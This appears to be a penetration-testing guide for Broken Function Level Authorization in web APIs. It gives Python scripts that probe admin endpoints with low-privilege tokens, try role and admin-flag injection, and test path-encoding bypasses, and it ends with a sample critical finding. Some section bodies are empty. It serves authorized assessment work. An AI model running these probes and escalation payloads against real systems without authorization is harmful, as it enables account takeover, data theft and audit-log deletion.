Do not use without written authorization. BFLA testing involves attempting to execute administrative functions with unauthorized credentials.

ADMIN_PATH_PATTERNS = [ "/api/v1/admin", "/api/v1/admin/users", "/api/v1/admin/settings", "/api/v1/admin/config", "/api/v1/admin/logs", "/api/v1/admin/dashboard", "/api/v1/admin/reports", "/api/v1/admin/billing", "/api/v1/manage", "/api/v1/management", "/api/v1/internal", "/api/v1/internal/users", "/api/v1/system", "/api/v1/system/health", "/api/v1/console", "/api/v1/users/admin", "/api/v1/roles", "/api/v1/permissions", "/api/v1/audit", "/api/v1/audit/logs", "/api/internal/", "/admin/api/", "/management/api/", "/backoffice/api/", ]

ADMIN_FUNCTIONS = [ ("POST", "/api/v1/users", {"role": "admin"}), # Create user with admin role ("PUT", "/api/v1/users/1/role", {"role": "admin"}), # Change user role ("DELETE", "/api/v1/users/1002", None), # Delete another user ("POST", "/api/v1/settings", {"maintenance": True}), # Modify system settings ("GET", "/api/v1/users?role=admin", None), # List admin users ("POST", "/api/v1/export/users", None), # Export user data ("POST", "/api/v1/users/1002/disable", None), # Disable user account ("POST", "/api/v1/users/1002/reset-password", None), # Force password reset ("PUT", "/api/v1/config/security", {"mfa_required": False}),# Disable security ("DELETE", "/api/v1/audit/logs", None), # Delete audit logs ]

print("Phase 1: Admin Endpoint Discovery") for path in ADMIN_PATH_PATTERNS: for method in ["GET", "POST", "PUT", "DELETE", "PATCH"]: try: resp = requests.request(method, f"{BASE_URL}{path}", headers=regular_user_headers, timeout=5) if resp.status_code not in (401, 403, 404, 405): print(f" [ACCESSIBLE] {method} {path} -> {resp.status_code}") except requests.exceptions.RequestException: pass

undefined

ROLES = { "unauthenticated": {}, "regular_user": {"Authorization": "Bearer <regular_token>"}, "moderator": {"Authorization": "Bearer <moderator_token>"}, "admin": {"Authorization": "Bearer <admin_token>"}, }

ROLE_MATRIX = [ # (method, endpoint, body, minimum_role) ("GET", "/api/v1/users/me", None, "regular_user"), ("GET", "/api/v1/users", None, "admin"), ("POST", "/api/v1/users", {"email":"x@y.com","name":"X","role":"user"}, "admin"), ("DELETE", "/api/v1/users/1002", None, "admin"), ("GET", "/api/v1/admin/settings", None, "admin"), ("PUT", "/api/v1/admin/settings", {"feature_flag": True}, "admin"), ("GET", "/api/v1/reports/financial", None, "admin"), ("POST", "/api/v1/users/1002/ban", None, "moderator"), ("GET", "/api/v1/audit/logs", None, "admin"), ("POST", "/api/v1/export/database", None, "admin"), ("PUT", "/api/v1/users/1002/role", {"role": "admin"}, "admin"), ]

ROLE_HIERARCHY = ["unauthenticated", "regular_user", "moderator", "admin"]

results = [] for method, endpoint, body, min_role in ROLE_MATRIX: min_index = ROLE_HIERARCHY.index(min_role) for role_name, role_headers in ROLES.items(): role_index = ROLE_HIERARCHY.index(role_name) if role_index < min_index: # This role should NOT have access resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=role_headers, json=body, timeout=5) if resp.status_code not in (401, 403): results.append({ "endpoint": f"{method} {endpoint}", "role_used": role_name, "expected_min_role": min_role, "status_code": resp.status_code, "vulnerable": True }) print(f" [BFLA] {role_name} accessed {method} {endpoint} (requires {min_role}) -> {resp.status_code}")

print(f"\nTotal BFLA findings: {len(results)}")

undefined

def test_method_based_bfla(endpoint, authorized_method="GET"): """Test if authorization only applies to certain HTTP methods.""" methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS", "TRACE"]

print(f"\nTesting method-based BFLA on {endpoint}:")
for method in methods:
    try:
        resp = requests.request(method, f"{BASE_URL}{endpoint}",
                              headers=regular_user_headers,
                              json={"test": True} if method in ("POST","PUT","PATCH") else None,
                              timeout=5)
        status = "ACCESSIBLE" if resp.status_code not in (401, 403, 405) else "blocked"
        if status == "ACCESSIBLE":
            print(f"  [{status}] {method} {endpoint} -> {resp.status_code}")
    except requests.exceptions.RequestException:
        pass

test_method_based_bfla("/api/v1/admin/users") test_method_based_bfla("/api/v1/admin/settings") test_method_based_bfla("/api/v1/users/1002")

undefined

privilege_escalation_tests = [ # Test 1: Add role parameter to self-update { "name": "Self role elevation via profile update", "method": "PUT", "endpoint": "/api/v1/users/me", "body": {"name": "Test User", "role": "admin"}, }, # Test 2: Add admin flag { "name": "Admin flag injection", "method": "PUT", "endpoint": "/api/v1/users/me", "body": {"name": "Test User", "is_admin": True, "isAdmin": True, "admin": True}, }, # Test 3: Modify user ID in body to target other users { "name": "User ID substitution in body", "method": "PUT", "endpoint": "/api/v1/users/me", "body": {"id": 1, "user_id": 1, "role": "admin"}, }, # Test 4: Access admin function via regular endpoint with admin params { "name": "Hidden admin parameter", "method": "GET", "endpoint": "/api/v1/users?admin=true&debug=true&internal=true", "body": None, }, # Test 5: Override tenant/organization { "name": "Tenant override", "method": "GET", "endpoint": "/api/v1/users", "body": None, "extra_headers": {"X-Tenant-Id": "admin-org", "X-Organization": "1"}, }, ]

for test in privilege_escalation_tests: extra = test.get("extra_headers", {}) resp = requests.request( test["method"], f"{BASE_URL}{test['endpoint']}", headers={**regular_user_headers, **extra}, json=test["body"], timeout=5 ) if resp.status_code in (200, 201, 204): print(f"[BFLA] {test['name']}: {resp.status_code}") # Check if role actually changed if "role" in test.get("body", {}): me_resp = requests.get(f"{BASE_URL}/api/v1/users/me", headers=regular_user_headers) if me_resp.status_code == 200: current_role = me_resp.json().get("role", "unknown") print(f" Current role after exploit: {current_role}")

undefined

api_versions = ["v1", "v2", "v3", "v0", "beta", "alpha", "internal", "legacy", "staging"] admin_paths = ["/admin/users", "/admin/settings", "/users", "/config"]

print("Testing API version bypass:") for version in api_versions: for path in admin_paths: full_path = f"/api/{version}{path}" resp = requests.get(f"{BASE_URL}{full_path}", headers=regular_user_headers, timeout=5) if resp.status_code not in (401, 403, 404): print(f" [BYPASS] {full_path} -> {resp.status_code}")

bypass_paths = [ "/api/v1/admin/users", "/api/v1/Admin/users", # Case variation "/api/v1/ADMIN/users", "/api/v1/%61dmin/users", # URL encoding "/api/v1/./admin/users", # Path traversal "/api/v1/admin/../admin/users", # Double path "/api/v1/;/admin/users", # Semicolon insertion "/api/v1/admin/users.json", # Extension addition "/api/v1/admin/users/", # Trailing slash ]

for path in bypass_paths: resp = requests.get(f"{BASE_URL}{path}", headers=regular_user_headers, timeout=5) if resp.status_code not in (401, 403, 404): print(f" [PATH BYPASS] {path} -> {resp.status_code}")

undefined

Context: A SaaS platform has user, moderator, and admin roles. The API serves a React frontend that conditionally renders admin features based on the user's role. The backend API should enforce the same restrictions independently.

Approach:

Pitfalls:

ID: API-BFLA-001 Severity: Critical (CVSS 9.8) OWASP API: API5:2023 - Broken Function Level Authorization Affected Endpoints:

Description: The API does not enforce function-level authorization on administrative endpoints. A regular user can directly call admin API endpoints and execute administrative functions including user management, role changes, system configuration, and audit log deletion. The frontend hides admin features based on role, but the backend API does not enforce the same restrictions.

Proof of Concept:

Impact: Any authenticated user can take full administrative control of the platform, access all user data, modify roles, change system configuration, and delete audit logs to cover their tracks.

Remediation:

undefined